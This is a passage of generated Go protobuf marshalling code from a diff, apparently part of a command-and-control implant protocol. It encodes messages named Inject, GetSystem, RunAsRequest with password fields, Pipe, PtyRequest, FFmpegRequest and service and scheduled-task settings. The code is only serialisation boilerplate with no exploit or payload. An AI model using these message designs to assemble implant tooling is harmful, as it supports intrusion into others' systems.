return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskScheduleRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskScheduleRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Taskschd != nil { + size, err := m.Taskschd.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedule) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedule) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskSchedule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NextRunTime) > 0 { + i -= len(m.NextRunTime) + copy(dAtA[i:], m.NextRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.NextRunTime))) + i-- + dAtA[i] = 0x4a + } + if len(m.LastRunTime) > 0 { + i -= len(m.LastRunTime) + copy(dAtA[i:], m.LastRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LastRunTime))) + i-- + dAtA[i] = 0x42 + } + if m.Enabled { + i-- + if m.Enabled { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if len(m.Description) > 0 { + i -= len(m.Description) + copy(dAtA[i:], m.Description) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Description))) + i-- + dAtA[i] = 0x32 + } + if len(m.StartBoundary) > 0 { + i -= len(m.StartBoundary) + copy(dAtA[i:], m.StartBoundary) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StartBoundary))) + i-- + dAtA[i] = 0x2a + } + if m.TriggerType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TriggerType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedulesResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedulesResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskSchedulesResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Schedules) > 0 { + for iNdEx := len(m.Schedules) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Schedules[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ServiceRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Service != nil { + size, err := m.Service.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceConfig) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceConfig) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceConfig) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.AccountName) > 0 { + i -= len(m.AccountName) + copy(dAtA[i:], m.AccountName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.AccountName))) + i-- + dAtA[i] = 0x32 + } + if m.ErrorControl != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ErrorControl)) + i-- + dAtA[i] = 0x28 + } + if m.StartType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StartType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.DisplayName) > 0 { + i -= len(m.DisplayName) + copy(dAtA[i:], m.DisplayName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DisplayName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceStatus) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceStatus) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServiceStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.WaitHint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.WaitHint)) + i-- + dAtA[i] = 0x28 + } + if m.Checkpoint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Checkpoint)) + i-- + dAtA[i] = 0x20 + } + if m.ExitCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ExitCode)) + i-- + dAtA[i] = 0x18 + } + if m.ProcessId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ProcessId)) + i-- + dAtA[i] = 0x10 + } + if m.CurrentState != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.CurrentState)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Service) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Service) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Service) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Status != nil { + size, err := m.Status.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if m.Config != nil { + size, err := m.Config.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServicesResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServicesResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ServicesResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Services) > 0 { + for iNdEx := len(m.Services) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Services[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *WmiQueryRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiQueryRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *WmiQueryRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *WmiMethodRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiMethodRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *WmiMethodRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.MethodName) > 0 { + i -= len(m.MethodName) + copy(dAtA[i:], m.MethodName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.MethodName))) + i-- + dAtA[i] = 0x1a + } + if len(m.ClassName) > 0 { + i -= len(m.ClassName) + copy(dAtA[i:], m.ClassName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClassName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RunAsRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RunAsRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *RunAsRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.UseEnv { + i-- + if m.UseEnv { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x40 + } + if m.Netonly { + i-- + if m.Netonly { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if m.UseProfile { + i-- + if m.UseProfile { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x2a + } + if len(m.Program) > 0 { + i -= len(m.Program) + copy(dAtA[i:], m.Program) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Program))) + i-- + dAtA[i] = 0x22 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x1a + } + if len(m.Domain) > 0 { + i -= len(m.Domain) + copy(dAtA[i:], m.Domain) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Domain))) + i-- + dAtA[i] = 0x12 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *GetSystem) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetSystem) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetSystem) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Inject) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Inject) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Inject) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Pipe) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Pipe) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Pipe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PipeRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PipeRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PipeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pipe != nil { + size, err := m.Pipe.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Switch) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Switch) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Switch) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Urls) > 0 { + for iNdEx := len(m.Urls) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Urls[iNdEx]) + copy(dAtA[i:], m.Urls[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Urls[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *TaskCtrl) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskCtrl) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskCtrl) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Op) > 0 { + i -= len(m.Op) + copy(dAtA[i:], m.Op) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Op))) + i-- + dAtA[i] = 0x12 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.SendCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.SendCount)) + i-- + dAtA[i] = 0x20 + } + if m.RecvCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.RecvCount)) + i-- + dAtA[i] = 0x18 + } + if m.Last != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Last)) + i-- + dAtA[i] = 0x10 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskListResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskListResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *TaskListResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Tasks) > 0 { + for iNdEx := len(m.Tasks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Tasks[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *FFmpegRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FFmpegRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *FFmpegRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Time) > 0 { + i -= len(m.Time) + copy(dAtA[i:], m.Time) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Time))) + i-- + dAtA[i] = 0x2a + } + if len(m.OutputPath) > 0 { + i -= len(m.OutputPath) + copy(dAtA[i:], m.OutputPath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputPath))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputFormat) > 0 { + i -= len(m.OutputFormat) + copy(dAtA[i:], m.OutputFormat) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputFormat))) + i-- + dAtA[i] = 0x1a + } + if len(m.DeviceName) > 0 { + i -= len(m.DeviceName) + copy(dAtA[i:], m.DeviceName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DeviceName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Action) > 0 { + i -= len(m.Action) + copy(dAtA[i:], m.Action) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Action))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PtyRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x42 + } + } + if len(m.InputText) > 0 { + i -= len(m.InputText) + copy(dAtA[i:], m.InputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputText))) + i-- + dAtA[i] = 0x3a + } + if len(m.InputData) > 0 { + i -= len(m.InputData) + copy(dAtA[i:], m.InputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputData))) + i-- + dAtA[i] = 0x32 + } + if m.Rows != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Rows)) + i-- + dAtA[i] = 0x28 + } + if m.Cols != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cols)) + i-- + dAtA[i] = 0x20 + } + if len(m.Shell) > 0 { + i -= len(m.Shell) + copy(dAtA[i:], m.Shell) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Shell))) + i-- + dAtA[i] = 0x1a + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + 